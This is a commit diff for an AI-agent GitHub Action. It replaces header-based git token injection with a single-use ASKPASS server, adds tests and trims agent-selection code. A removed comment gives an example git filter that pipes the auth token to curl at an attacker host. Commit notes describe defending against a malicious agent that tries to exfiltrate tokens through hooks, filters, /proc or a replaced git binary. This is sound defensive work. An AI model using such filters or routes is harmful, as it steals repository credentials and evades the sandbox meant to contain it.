Agent & model refactor (#478)

* agent & model refactor with ASKPASS git auth, UI restructure, clerk v7

Made-with: Cursor

* fix stale agent/effort refs, add tests for askpass + model resolution

- reviewCleanup.ts: payload.agent -> payload.model, remove effort
- selectMode.ts PlanEdit: remove delegation/subagent/effort references
- pullfrog.yml.ts: update env vars (drop GOOGLE_API_KEY/CURSOR_API_KEY,
  add GOOGLE_GENERATIVE_AI_API_KEY/XAI_API_KEY/MOONSHOT_API_KEY/OPENCODE_API_KEY)
- FlagsSettings/RepoInstructionsSection: remove stale effort/timeout copy
- new: gitAuthServer.test.ts (10 tests — lifecycle, token delivery, tamper detection, script gen)
- new: agent.test.ts (4 tests — default opentoad, AGENT_OVERRIDE, invalid override)
- new: models.test.ts (19 tests — parseModel, resolution, registry invariants)
- update models.dev snapshot

Made-with: Cursor

* fix changed-agents.sh to filter legacy agent files from CI matrix

legacy agent files (claude.ts, codex.ts, etc.) are @ts-nocheck and not
exported from index.ts. changed-agents.sh now reads index.ts imports to
build the active agent set and treats changes to inactive files as
non-agent changes (opentoad canary only).

Made-with: Cursor

* remove MCP file tools, old agent harnesses, and obsolete security tests

ASKPASS-based git auth makes the old MCP file tool security layer unnecessary:
- token never in subprocess env, so symlink/gitattributes/hook attacks can't exfiltrate it
- agents now use native file tools (OpenCode builtin read/edit)

deleted:
- action/mcp/file.ts (file_read, file_write, file_edit, file_delete, list_directory)
- action/mcp/index.ts (dead re-export)
- agent harnesses: claude.ts, codex.ts, cursor.ts, gemini.ts, opencode.ts
- opencode-runner.ts (inlined into opentoad.ts)
- security tests that validated MCP file tool restrictions
- commented-out three-step review flow (~300 lines)
- sanitizeSchema/wrapSchema dead code from mcp/shared.ts
- OPENCODE_MODEL_MINI/MAX env vars (effort-level model overrides removed)

updated test prompts to use generic file ops instead of MCP tool names.
restored pkg-json-scripts + requirements-txt-attack (test --ignore-scripts defense).

Made-with: Cursor

* bump actions/checkout v4 → v6 (node 24)

node 20 actions deprecated june 2, 2026.

Made-with: Cursor

* temporarily disable fail-fast on agnostic tests to debug checkout@v6

Made-with: Cursor

* re-enable fail-fast on agnostic tests

Made-with: Cursor

* fix test token mismatch: mint OIDC tokens scoped to target repo

CI tests override GITHUB_REPOSITORY to pullfrog/test-repo but inherit
the runner's GITHUB_TOKEN (scoped to pullfrog/app), causing 401s on
every run-context fetch. Clear GITHUB_TOKEN in the test subprocess so
ensureGitHubToken() mints a properly scoped token via OIDC.

Also centralizes the default GITHUB_REPOSITORY in runAgentStreaming
instead of repeating it in every test file, and fixes preview-cleanup
to remove workers from all queues (not just name-matching ones).

Made-with: Cursor

* fix ensureGitHubToken to try OIDC when app credentials are absent

ensureGitHubToken only attempted token minting when GITHUB_APP_ID and
GITHUB_PRIVATE_KEY were set. In CI, OIDC is available but app creds
aren't exposed — so the guard prevented minting entirely.

Made-with: Cursor

* dead code cleanup: remove remnants of deleted agents, file tools, effort system

remove unused @anthropic-ai/claude-agent-sdk and @openai/codex-sdk deps,
orphaned file-tool security tests, dead GEMINI_MODEL passthrough, stale
opencode-runner wiki refs, deleted test file references, and MCP file tool
docs. rename docs/effort → docs/models. fix vitest setup: move dotenv to
globalSetup (runs once before forks instead of per-file, 19s → 200ms).

Made-with: Cursor

* address review feedback: remove dead code, update stale references

- remove AGENT_OVERRIDE (only opentoad exists)
- remove shellToolName plumbing (always restricted shell)
- bump action version to 0.0.179
- remove CURSOR_API_KEY from all workflows/configs
- remove OPENCODE_MODEL_MINI/MAX from workflows/docs
- delete wiki/effort.md, rewrite docs/effort.mdx as "Models"
- rewrite wiki/modes.md: orchestrator/subagent → single agent
- simplify flag system: drop builtin flag extraction (debug, effort,
  timeout, agent), keep custom flag replacement only
- reserve all legacy flag names to prevent custom flag conflicts

Made-with: Cursor

* regenerate lockfile after removing claude-agent-sdk and codex-sdk

Made-with: Cursor

* fix import ordering, add lockfile check to pre-push hook

Made-with: Cursor

* remove dead debug payload field, stale packageExtensions

Made-with: Cursor

* merge proc-sandbox and token-exfil into a single test

proc-sandbox and token-exfil were duplicative — both tested that
SANDBOX_TEST_TOKEN couldn't be exfiltrated. consolidated into
token-exfil with shell:restricted (which actually exercises filterEnv)
and the /proc attack vector hints from proc-sandbox.

Made-with: Cursor

* fix wiki adversarial.md to match actual tokenExfil validator

Made-with: Cursor
This commit is contained in:
Colin McDonnell
2026-03-12 05:22:51 +00:00
committed by pullfrog[bot]
parent 5bcfae990a
commit 6d25adfd1a
111 changed files with 4196 additions and 10202 deletions
-1
View File
@@ -110,7 +110,6 @@ export function createProcessOutputActivityTimeout(ctx: ActivityTimeoutContext):
if (monitor) {
monitor.stop();
}
// matched by delegateTimeout test validator — update tests if changed
rejectFn(new Error(`activity timeout: no output for ${idleSec}s`));
},
});
+9
View File
@@ -0,0 +1,9 @@
import { describe, expect, it } from "vitest";
import { resolveAgent } from "./agent.ts";
describe("resolveAgent", () => {
it("returns opentoad", () => {
const agent = resolveAgent();
expect(agent.name).toBe("opentoad");
});
});
+4 -68
View File
@@ -1,70 +1,6 @@
import { type Agent, agents } from "../agents/index.ts";
import type { AgentName } from "../external.ts";
import { log } from "./cli.ts";
import type { ResolvedPayload } from "./payload.ts";
import type { RepoSettings } from "./runContext.ts";
import type { Agent } from "../agents/index.ts";
import { agents } from "../agents/index.ts";
/**
* Check if an agent has API keys available (from process.env)
*/
function agentHasApiKeys(agent: Agent): boolean {
// empty apiKeyNames means agent accepts any *API_KEY* env var
if (agent.apiKeyNames.length === 0) {
return Object.keys(process.env).some((key) => key.includes("API_KEY") && process.env[key]);
}
return agent.apiKeyNames.some((envKey) => !!process.env[envKey]);
}
function getAvailableAgents(): Agent[] {
return Object.values(agents).filter((agent) => agentHasApiKeys(agent));
}
export function resolveAgent(params: {
payload: ResolvedPayload;
repoSettings: RepoSettings;
}): Agent {
const agentOverride = process.env.AGENT_OVERRIDE as AgentName | undefined;
log.debug(
`» determineAgent: agentOverride=${agentOverride}, payload.agent=${params.payload.agent}, repoSettings.defaultAgent=${params.repoSettings.defaultAgent}`
);
const configuredAgentName =
agentOverride || params.payload.agent || params.repoSettings.defaultAgent || undefined;
if (configuredAgentName) {
const agent = agents[configuredAgentName];
if (!agent) {
throw new Error(`invalid agent name: ${configuredAgentName}`);
}
// if explicitly configured (via override or payload), respect it even without matching keys
// this allows users to force an agent selection (will fail later with clear error if no keys)
const isExplicitOverride = agentOverride !== undefined || params.payload.agent !== null;
if (isExplicitOverride) {
log.info(`» selected configured agent: ${agent.name}`);
return agent;
}
// for repo-level defaults, check if agent has matching keys before selecting
if (agentHasApiKeys(agent)) {
log.info(`» selected configured agent: ${agent.name}`);
return agent;
}
// fall through to auto-selection
const availableAgents = getAvailableAgents();
log.warning(
`Repo default agent ${agent.name} has no matching API keys. Available: ${
availableAgents.map((a) => a.name).join(", ") || "none"
}`
);
}
const availableAgents = getAvailableAgents();
if (availableAgents.length === 0) {
throw new Error("no agents available - missing API keys");
}
const agent = availableAgents[0];
log.info(`» no agent configured, defaulting to first available agent: ${agent.name}`);
return agent;
export function resolveAgent(): Agent {
return agents.opentoad;
}
+22 -56
View File
@@ -1,72 +1,38 @@
import type { Agent } from "../agents/index.ts";
import { providers } from "../models.ts";
import { getApiUrl } from "./apiUrl.ts";
/**
* Build a helpful error message for missing API key with links to repo settings
*/
function buildMissingApiKeyError(params: { agent: Agent; owner: string; name: string }): string {
const knownApiKeys: Set<string> = new Set(Object.values(providers).flatMap((p) => [...p.envVars]));
function buildMissingApiKeyError(params: { owner: string; name: string }): string {
const apiUrl = getApiUrl();
const settingsUrl = `${apiUrl}/console/${params.owner}/${params.name}`;
const githubRepoUrl = `https://github.com/${params.owner}/${params.name}`;
const githubSecretsUrl = `${githubRepoUrl}/settings/secrets/actions`;
let secretNameList: string;
if (params.agent.apiKeyNames.length === 0) {
secretNameList =
"any API key (e.g., `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `GEMINI_API_KEY`, etc.)";
} else {
const secretNames = params.agent.apiKeyNames.map((key) => `\`${key}\``);
secretNameList =
params.agent.apiKeyNames.length === 1 ? secretNames[0] : `one of ${secretNames.join(" or ")}`;
}
return `no API key found. Pullfrog requires at least one LLM provider API key.
return `Pullfrog is configured to use ${params.agent.displayName}, but the associated API key was not provided.
to fix this, add the required secret to your GitHub repository:
To fix this, add the required secret to your GitHub repository:
1. go to: ${githubSecretsUrl}
2. click "New repository secret"
3. set the name to your provider's key (e.g., \`ANTHROPIC_API_KEY\`, \`OPENAI_API_KEY\`, \`GEMINI_API_KEY\`)
4. set the value to your API key
5. click "Add secret"
1. Go to: ${githubSecretsUrl}
2. Click "New repository secret"
3. Set the name to ${secretNameList}
4. Set the value to your API key
5. Click "Add secret"
Alternatively, configure Pullfrog to use a different agent at ${settingsUrl}`;
configure your model at ${settingsUrl}`;
}
function collectApiKeys(agent: Agent): Record<string, string> {
const apiKeys: Record<string, string> = {};
export function validateAgentApiKey(params: {
agent: { name: string };
owner: string;
name: string;
}): void {
const hasAnyKey = Object.entries(process.env).some(
([key, value]) => value && typeof value === "string" && knownApiKeys.has(key)
);
// read API keys from environment variables
for (const envKey of agent.apiKeyNames) {
const value = process.env[envKey];
if (value) {
apiKeys[envKey] = value;
}
}
// empty apiKeyNames means agent accepts any *API_KEY* env var
if (agent.apiKeyNames.length === 0) {
for (const [key, value] of Object.entries(process.env)) {
if (value && typeof value === "string" && key.includes("API_KEY")) {
apiKeys[key] = value;
}
}
}
return apiKeys;
}
export function validateAgentApiKey(params: { agent: Agent; owner: string; name: string }): void {
const apiKeys = collectApiKeys(params.agent);
if (Object.keys(apiKeys).length === 0) {
throw new Error(
buildMissingApiKeyError({
agent: params.agent,
owner: params.owner,
name: params.name,
})
);
if (!hasAnyKey) {
throw new Error(buildMissingApiKeyError({ owner: params.owner, name: params.name }));
}
}
+1 -12
View File
@@ -2,11 +2,6 @@ export const PULLFROG_DIVIDER = "<!-- PULLFROG_DIVIDER_DO_NOT_REMOVE_PLZ -->";
const FROG_LOGO = `<a href="https://pullfrog.com"><picture><source media="(prefers-color-scheme: dark)" srcset="https://pullfrog.com/logos/frog-white-full-18px.png"><img src="https://pullfrog.com/logos/frog-green-full-18px.png" width="9px" height="9px" style="vertical-align: middle; " alt="Pullfrog"></picture></a>`;
export interface AgentInfo {
displayName: string;
url: string;
}
export interface WorkflowRunFooterInfo {
owner: string;
repo: string;
@@ -18,8 +13,6 @@ export interface WorkflowRunFooterInfo {
export interface BuildPullfrogFooterParams {
/** add "Triggered by Pullfrog" link */
triggeredBy?: boolean;
/** add "Using [agent](url)" link */
agent?: AgentInfo | undefined;
/** add "View workflow run" link */
workflowRun?: WorkflowRunFooterInfo | undefined;
/** alternative: just pass a pre-built URL directly (for shortlinks etc.) */
@@ -31,7 +24,7 @@ export interface BuildPullfrogFooterParams {
/**
* build a pullfrog footer with configurable parts
* always includes: frog logo at start, pullfrog.com link and X link at end
* order: action links (customParts) > workflow run > agent > attribution > reference links
* order: action links (customParts) > workflow run > attribution > reference links
*/
export function buildPullfrogFooter(params: BuildPullfrogFooterParams): string {
const parts: string[] = [];
@@ -48,10 +41,6 @@ export function buildPullfrogFooter(params: BuildPullfrogFooterParams): string {
parts.push(`[View workflow run](${url})`);
}
if (params.agent) {
parts.push(`Using [${params.agent.displayName}](${params.agent.url})`);
}
if (params.triggeredBy) {
parts.push("Triggered by [Pullfrog](https://pullfrog.com)");
}
+1 -6
View File
@@ -108,7 +108,6 @@ const testEnvAllowList = new Set([
"CI",
"GITHUB_ACTIONS",
"PULLFROG_DISABLE_SECURITY_INSTRUCTIONS", // disables security messaging for pentest
"AGENT_OVERRIDE", // override agent selection for testing
"GITHUB_TOKEN",
"GH_TOKEN",
"GITHUB_REPOSITORY",
@@ -118,11 +117,7 @@ const testEnvAllowList = new Set([
"ANTHROPIC_API_KEY",
"GEMINI_API_KEY",
"GOOGLE_GENERATIVE_AI_API_KEY",
"CURSOR_API_KEY",
"OPENCODE_MODEL", // override OpenCode model (e.g. google/gemini-3-flash-preview) for tests or user preference
"OPENCODE_MODEL_MINI", // effort-specific OpenCode model override for mini effort
"OPENCODE_MODEL_MAX", // effort-specific OpenCode model override for max effort
"GEMINI_MODEL", // override Gemini model (e.g. gemini-3-pro-preview) for tests or user preference
"OPENCODE_MODEL",
"LOG_LEVEL",
"DEBUG",
"NODE_ENV",
+9
View File
@@ -0,0 +1,9 @@
// LLMs sometimes double-escape JSON strings, producing literal \n \t \"
// instead of actual newline/tab/quote characters.
// detected when the string contains literal \n but no actual newlines.
export function fixDoubleEscapedString(str: string): string {
if (!str.includes("\n") && str.includes("\\n")) {
return str.replace(/\\n/g, "\n").replace(/\\t/g, "\t").replace(/\\"/g, '"');
}
return str;
}
+98 -98
View File
@@ -1,49 +1,26 @@
/**
* git authentication helper using GIT_CONFIG_PARAMETERS.
* injects Authorization header via http.extraheader config.
* token is never exposed to shell environment - only to the git subprocess.
* git authentication via GIT_ASKPASS.
*
* see wiki/git.md "Subcommand Whitelist" for full security documentation.
* a localhost HTTP server serves tokens via single-use UUID codes.
* each $git() call writes a unique askpass script with the server
* port+code baked into the file body — no secrets in subprocess env.
*
* see wiki/askpass.md for full security documentation.
*/
import { execSync, spawnSync } from "node:child_process";
import { execSync } from "node:child_process";
import { createHash } from "node:crypto";
import { readFileSync, realpathSync } from "node:fs";
import { readFileSync, realpathSync, unlinkSync } from "node:fs";
import { log } from "./cli.ts";
import type { GitAuthServer } from "./gitAuthServer.ts";
import { filterEnv } from "./secrets.ts";
import { spawn } from "./subprocess.ts";
/**
* whitelist of git subcommands safe to run with an auth token in GIT_CONFIG_PARAMETERS.
*
* git operations fall into two categories:
*
* SAFE (remote-only, no working tree):
* fetch - downloads objects, updates refs
* push - uploads objects
*
* DANGEROUS (touch working tree, trigger filters that inherit the full subprocess env):
* checkout, merge, pull, reset, stash, add, commit, diff (with worktree)
*
* a malicious agent can set up a git filter via `.git/config`:
* [filter "evil"]
* clean = bash -c 'echo "$GIT_CONFIG_PARAMETERS" | curl https://attacker.com'
*
* if we ran e.g. `$git("checkout", ...)`, that filter would execute with the token
* in env and exfiltrate it. fetch and push don't touch working tree files, so
* filters never run. this was verified empirically.
*
* operations that need working tree access (checkout, merge) use `$()` from shell.ts
* which has NO token in its environment.
*/
type SafeGitSubcommand = "fetch" | "push";
type GitAuthOptions = {
token: string;
cwd?: string;
// when true, disables hooks during authenticated git operations to prevent
// token exfiltration via malicious hooks reading GIT_CONFIG_PARAMETERS.
// should be true whenever shell is not "enabled" (both restricted and disabled).
restricted?: boolean;
};
type GitResult = {
@@ -58,7 +35,6 @@ type GitBinaryInfo = {
sha256: string;
};
/** resolved at startup via initGitBinary(), before any agent code runs */
let gitBinary: GitBinaryInfo | undefined;
function hashFile(path: string): string {
@@ -66,107 +42,131 @@ function hashFile(path: string): string {
}
/**
* resolve and fingerprint the git binary. must be called once at startup (in main())
* before any agent code runs, so the path and hash reflect the untampered binary.
* resolve and fingerprint the git binary. must be called once at startup
* (in main()) before any agent code runs, so the path and hash reflect
* the untampered binary.
*
* resolves symlinks via realpath so the hash is of the actual binary, not a symlink.
* a malicious agent with sudo could replace the binary later, which is caught by
* verifyGitBinary() before each authenticated call.
* resolves symlinks via realpath so the hash is of the actual binary.
* a malicious agent with sudo could replace the binary later, which is
* caught by verifyGitBinary() before each authenticated call.
*/
export function resolveGit(): void {
// `which git` resolves PATH; realpath follows symlinks (e.g. /usr/bin/git -> /usr/lib/git-core/git)
const whichPath = execSync("which git", { encoding: "utf-8" }).trim();
const resolvedPath = realpathSync(whichPath);
const sha256 = hashFile(resolvedPath);
gitBinary = { path: resolvedPath, sha256 };
log.info(`» git binary: ${resolvedPath} (sha256: ${sha256.slice(0, 12)}...)`);
log.info(`git binary: ${resolvedPath} (sha256: ${sha256.slice(0, 12)}...)`);
}
/**
* verify the git binary hasn't been tampered with since startup.
* re-hashes the binary and compares to the startup fingerprint.
* throws if the binary was replaced (e.g. by a malicious agent with sudo).
*/
function verifyGitBinary(): string {
if (!gitBinary) {
throw new Error("git binary not initialized - call resolveGit() at startup");
throw new Error("git binary not initialized call resolveGit() at startup");
}
const currentHash = hashFile(gitBinary.path);
if (currentHash !== gitBinary.sha256) {
throw new Error(
`git binary tampered with! expected sha256 ${gitBinary.sha256}, got ${currentHash}. ` +
`git binary tampered: expected sha256 ${gitBinary.sha256}, got ${currentHash}. ` +
`path: ${gitBinary.path}`
);
}
return gitBinary.path;
}
// --- auth server ---
let authServer: GitAuthServer | undefined;
export function setGitAuthServer(server: GitAuthServer): void {
authServer = server;
}
/**
* execute authenticated git command.
* execute authenticated git command via ASKPASS.
*
* subcommand is an explicit first argument restricted to "fetch" | "push" at the type level,
* preventing accidental use with working-tree operations that would expose the token to filters.
* subcommand is restricted to "fetch" | "push" — operations that talk to
* a remote and need credentials. working-tree operations (checkout, merge)
* use $() from shell.ts which has no token.
*
* uses Basic auth format (AUTHORIZATION: basic <base64>) matching actions/checkout.
* the Bearer format doesn't work with git's extraheader mechanism.
*
* the git binary path is resolved once at startup via resolveGit() and verified
* (sha256 hash check) before each call to detect tampering by a malicious agent.
* per call: registers a one-time code with the auth server, writes a
* unique askpass script with port+code baked in, spawns git with
* GIT_ASKPASS pointing to the script, and deletes the script in finally.
*
* @example
* $git("fetch", ["origin", "main"], { token, restricted: true });
* $git("push", ["-u", "origin", "feature"], { token, restricted: true });
* await $git("fetch", ["origin", "main"], { token });
* await $git("push", ["-u", "origin", "feature"], { token });
*/
export function $git(
export async function $git(
subcommand: SafeGitSubcommand,
args: string[],
options: GitAuthOptions
): GitResult {
): Promise<GitResult> {
const gitPath = verifyGitBinary();
if (!authServer) {
throw new Error("git auth server not initialized — call setGitAuthServer() at startup");
}
const cwd = options.cwd ?? process.cwd();
// SECURITY: disable hooks during authenticated operations to prevent token exfiltration.
// in restricted mode, agents can write .git/hooks/ via shell; in disabled mode, defense-in-depth.
if (options.restricted) {
const hasHooksOverride = args.some(
(arg) => arg.toLowerCase().includes("hookspath") || arg.toLowerCase().includes("hooks")
);
if (hasHooksOverride) {
throw new Error("Blocked: git args contain hooks-related config");
}
}
const fullArgs = options.restricted
? ["-c", "core.hooksPath=/dev/null", subcommand, ...args]
: [subcommand, ...args];
const code = authServer.register(options.token);
const scriptPath = authServer.writeAskpassScript(code);
// -c flags override local .git/config — defense-in-depth against
// agent-set config that could spawn subprocesses before ASKPASS runs
const fullArgs = [
"-c",
"core.fsmonitor=false",
"-c",
"credential.helper=",
"-c",
"protocol.file.allow=never",
"-c",
"core.sshCommand=ssh",
subcommand,
...args,
];
log.debug(`git ${fullArgs.join(" ")}`);
// use Basic auth format matching actions/checkout
// format: AUTHORIZATION: basic base64(x-access-token:TOKEN)
// Bearer format does NOT work with git's extraheader - git ignores it
const basicCredential = Buffer.from(`x-access-token:${options.token}`).toString("base64");
try {
const result = await spawn({
cmd: gitPath,
args: fullArgs,
cwd,
env: {
...filterEnv(),
GIT_ASKPASS: scriptPath,
GIT_TERMINAL_PROMPT: "0",
// blocks env-based git config injection from outer processes.
// GIT_CONFIG_COUNT=0 blocks the newer KEY_n/VALUE_n mechanism.
// GIT_CONFIG_PARAMETERS="" clears the legacy quoted-list mechanism.
// both are needed — they are independent systems.
GIT_CONFIG_COUNT: "0",
GIT_CONFIG_PARAMETERS: "",
},
activityTimeout: 0,
});
const result = spawnSync(gitPath, fullArgs, {
cwd,
env: {
...filterEnv(),
// inject auth header via GIT_CONFIG_PARAMETERS - never stored, only for this process
GIT_CONFIG_PARAMETERS: `'http.https://github.com/.extraheader=AUTHORIZATION: basic ${basicCredential}'`,
// disable terminal prompts (would hang in CI)
GIT_TERMINAL_PROMPT: "0",
},
encoding: "utf-8",
maxBuffer: 50 * 1024 * 1024,
});
if (result.stderr.includes("askpass-compromised")) {
log.info("askpass code was already consumed — token has been revoked");
throw new Error("git auth failed — askpass code was already consumed, token revoked");
}
if (result.status !== 0) {
const stderr = result.stderr?.trim() ?? "";
log.info(`git ${subcommand} failed: ${stderr}`);
throw new Error(`git ${subcommand} failed: ${stderr}`);
if (result.exitCode !== 0) {
const stderr = result.stderr.trim();
log.info(`git ${subcommand} failed: ${stderr}`);
throw new Error(`git ${subcommand} failed: ${stderr}`);
}
return {
stdout: result.stdout.trim(),
stderr: result.stderr.trim(),
};
} finally {
try {
unlinkSync(scriptPath);
} catch {
// script may have self-deleted already
}
}
return {
stdout: result.stdout?.trim() ?? "",
stderr: result.stderr?.trim() ?? "",
};
}
+138
View File
@@ -0,0 +1,138 @@
import { existsSync, mkdtempSync, readFileSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { afterEach, describe, expect, it } from "vitest";
import { type GitAuthServer, startGitAuthServer } from "./gitAuthServer.ts";
let server: GitAuthServer | undefined;
afterEach(async () => {
if (server) {
await server.close();
server = undefined;
}
});
function makeTmpdir(): string {
return mkdtempSync(join(tmpdir(), "askpass-test-"));
}
describe("git auth server lifecycle", () => {
it("starts and listens on a port", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
expect(server.port).toBeGreaterThan(0);
});
it("closes cleanly", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const port = server.port;
await server.close();
server = undefined;
// port should no longer accept connections
const err = await fetch(`http://127.0.0.1:${port}/test`).catch((e) => e);
expect(err).toBeInstanceOf(Error);
});
});
describe("token delivery", () => {
it("returns token on first request with valid code", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code = server.register("ghs_test_token_12345");
const res = await fetch(`http://127.0.0.1:${server.port}/${code}`);
expect(res.status).toBe(200);
const body = await res.text();
expect(body).toBe("ghs_test_token_12345");
});
it("returns 404 for unknown code", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const res = await fetch(`http://127.0.0.1:${server.port}/nonexistent-code`);
expect(res.status).toBe(404);
});
it("returns 400 for empty code", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const res = await fetch(`http://127.0.0.1:${server.port}/`);
expect(res.status).toBe(400);
});
it("returns 405 for non-GET methods", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code = server.register("token");
const res = await fetch(`http://127.0.0.1:${server.port}/${code}`, { method: "POST" });
expect(res.status).toBe(405);
});
});
describe("single-use enforcement (tamper detection)", () => {
it("returns 409 on second use of same code", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code = server.register("ghs_tamper_test");
const first = await fetch(`http://127.0.0.1:${server.port}/${code}`);
expect(first.status).toBe(200);
const second = await fetch(`http://127.0.0.1:${server.port}/${code}`);
expect(second.status).toBe(409);
const body = await second.text();
expect(body).toBe("compromised");
});
it("each register() call produces an independent code", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code1 = server.register("token-a");
const code2 = server.register("token-b");
expect(code1).not.toBe(code2);
const res1 = await fetch(`http://127.0.0.1:${server.port}/${code1}`);
expect(await res1.text()).toBe("token-a");
const res2 = await fetch(`http://127.0.0.1:${server.port}/${code2}`);
expect(await res2.text()).toBe("token-b");
});
});
describe("askpass script generation", () => {
it("writes an executable script file", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code = server.register("ghs_script_test");
const scriptPath = server.writeAskpassScript(code);
expect(existsSync(scriptPath)).toBe(true);
expect(scriptPath.startsWith(tmp)).toBe(true);
const content = readFileSync(scriptPath, "utf-8");
expect(content).toContain("#!/usr/bin/env node");
expect(content).toContain(String(server.port));
expect(content).toContain(code);
// token should NOT be in the script — only port and code
expect(content).not.toContain("ghs_script_test");
});
it("script handles Username prompt locally (no server call)", async () => {
const tmp = makeTmpdir();
server = await startGitAuthServer(tmp);
const code = server.register("ghs_username_test");
const scriptPath = server.writeAskpassScript(code);
const content = readFileSync(scriptPath, "utf-8");
// script checks for /^Username/i and returns "x-access-token" without HTTP
expect(content).toContain("Username");
expect(content).toContain("x-access-token");
});
});
+161
View File
@@ -0,0 +1,161 @@
/**
* ASKPASS-based git authentication server.
*
* serves tokens via a localhost HTTP server with single-use UUID codes.
* each $git() call gets a unique askpass script with the port+code baked in.
* the token never appears in subprocess env — only the script file path.
*
* tamper-evident: if a code is used twice, the second request triggers
* immediate token revocation via the GitHub API as a precaution.
*/
import { randomUUID } from "node:crypto";
import { writeFileSync } from "node:fs";
import { createServer } from "node:http";
import { join } from "node:path";
import { log } from "./cli.ts";
type CodeState = "pending" | "consumed";
type PendingCode = {
token: string;
state: CodeState;
timeout: NodeJS.Timeout;
};
const CODE_TTL_MS = 5 * 60 * 1000;
const TAMPER_WINDOW_MS = 60_000;
export type GitAuthServer = {
port: number;
register: (token: string) => string;
writeAskpassScript: (code: string) => string;
close: () => Promise<void>;
[Symbol.asyncDispose]: () => Promise<void>;
};
function revokeGitHubToken(token: string): void {
fetch("https://api.github.com/installation/token", {
method: "DELETE",
headers: {
Authorization: `Bearer ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": "pullfrog",
},
}).then(
(r) => log.info(`token revocation response: ${r.status}`),
() => log.warning("token revocation request failed")
);
}
export async function startGitAuthServer(tmpdir: string): Promise<GitAuthServer> {
const codes = new Map<string, PendingCode>();
const server = createServer((req, res) => {
if (req.method !== "GET") {
res.writeHead(405).end();
return;
}
const code = req.url?.slice(1);
if (!code) {
res.writeHead(400).end();
return;
}
const entry = codes.get(code);
if (!entry) {
res.writeHead(404).end();
return;
}
if (entry.state === "pending") {
// first use — return token, keep entry for tamper detection
entry.state = "consumed";
clearTimeout(entry.timeout);
entry.timeout = setTimeout(() => codes.delete(code), TAMPER_WINDOW_MS);
entry.timeout.unref();
res.writeHead(200, { "Content-Type": "text/plain" });
res.end(entry.token);
return;
}
// second request for same code — revoke token as a precaution
log.info("askpass code used twice — revoking token");
revokeGitHubToken(entry.token);
clearTimeout(entry.timeout);
codes.delete(code);
res.writeHead(409, { "Content-Type": "text/plain" });
res.end("compromised");
});
await new Promise<void>((resolve, reject) => {
server.on("error", reject);
server.listen(0, "127.0.0.1", () => resolve());
});
const rawAddr = server.address();
if (!rawAddr || typeof rawAddr === "string") {
throw new Error("git auth server failed to bind");
}
const port = rawAddr.port;
log.debug(`git auth server listening on 127.0.0.1:${port}`);
function register(token: string): string {
const code = randomUUID();
const timeout = setTimeout(() => {
codes.delete(code);
log.debug(`git auth code expired: ${code.slice(0, 8)}...`);
}, CODE_TTL_MS);
timeout.unref();
codes.set(code, { token, state: "pending", timeout });
return code;
}
function writeAskpassScript(code: string): string {
const scriptId = randomUUID();
const scriptName = `askpass-${scriptId}.js`;
const scriptPath = join(tmpdir, scriptName);
// standalone node script — no project dependencies.
// git calls this twice: once for "Username for ..." and once for "Password for ...".
// username: return "x-access-token" locally (no server call).
// password: fetch token from auth server, self-delete, return token.
// 409 = code was already consumed by another process (tamper detected).
const content = [
`#!/usr/bin/env node`,
`var a=process.argv[2]||"";`,
`if(/^Username/i.test(a)){process.stdout.write("x-access-token\\n")}`,
`else{var h=require("http");`,
`h.get("http://127.0.0.1:${port}/${code}",function(r){`,
`if(r.statusCode===409){process.stderr.write("askpass-compromised\\n");process.exit(1)}`,
`if(r.statusCode!==200){process.exit(1)}`,
`var d="";r.on("data",function(c){d+=c});`,
`r.on("end",function(){`,
`process.stdout.write(d+"\\n");`,
`try{require("fs").unlinkSync("${scriptPath.replace(/\\/g, "\\\\")}")}catch(e){}`,
`})}).on("error",function(){process.exit(1)})}`,
].join("\n");
writeFileSync(scriptPath, content, { mode: 0o700 });
return scriptPath;
}
async function close(): Promise<void> {
for (const entry of codes.values()) {
clearTimeout(entry.timeout);
}
codes.clear();
await new Promise<void>((resolve) => server.close(() => resolve()));
log.debug("git auth server closed");
}
return {
port,
register,
writeAskpassScript,
close,
[Symbol.asyncDispose]: close,
};
}
+1 -1
View File
@@ -302,7 +302,7 @@ async function acquireTokenViaGitHubApp(opts?: AcquireTokenOptions): Promise<str
*/
export async function ensureGitHubToken(): Promise<void> {
if (!process.env.GITHUB_TOKEN && !process.env.GH_TOKEN) {
if (process.env.GITHUB_APP_ID && process.env.GITHUB_PRIVATE_KEY) {
if (isOIDCAvailable() || (process.env.GITHUB_APP_ID && process.env.GITHUB_PRIVATE_KEY)) {
const token = await acquireNewToken();
process.env.GITHUB_TOKEN = token;
}
+12 -45
View File
@@ -84,8 +84,6 @@ function buildEventMetadata(event: PayloadEvent): string {
}
function getShellInstructions(shell: ResolvedPayload["shell"]): string {
const backgroundInstructions = `For long-running processes (dev servers, watchers), use \`shell({ command, background: true })\` which returns a handle. Use \`${ghPullfrogMcpName}/kill_background\` to stop background processes by handle.`;
switch (shell) {
case "disabled":
return `### Shell commands
@@ -94,11 +92,11 @@ Shell command execution is DISABLED. Do not attempt to run shell commands.`;
case "restricted":
return `### Shell commands
Use the \`${ghPullfrogMcpName}/shell\` MCP tool for all shell command execution. This tool provides a secure environment with filtered credentials. Do NOT use any native shell tool - it is disabled for security. ${backgroundInstructions}`;
Use the \`${ghPullfrogMcpName}/shell\` MCP tool for all shell command execution. This tool provides a secure environment with filtered credentials. Do NOT use any native shell tool it is disabled for security. For long-running processes (dev servers, watchers), use \`shell({ command, background: true })\`. Use \`${ghPullfrogMcpName}/kill_background\` to stop background processes.`;
case "enabled":
return `### Shell commands
Use your native shell tool for shell command execution. ${backgroundInstructions}`;
Use your native shell tool for shell command execution.`;
default: {
const _exhaustive: never = shell;
return _exhaustive satisfies never;
@@ -109,13 +107,7 @@ Use your native shell tool for shell command execution. ${backgroundInstructions
function getFileInstructions(): string {
return `### File operations
Use the \`${ghPullfrogMcpName}\` MCP file tools for all file operations. Do NOT use any native file read/write/edit tools — they are disabled. Available tools:
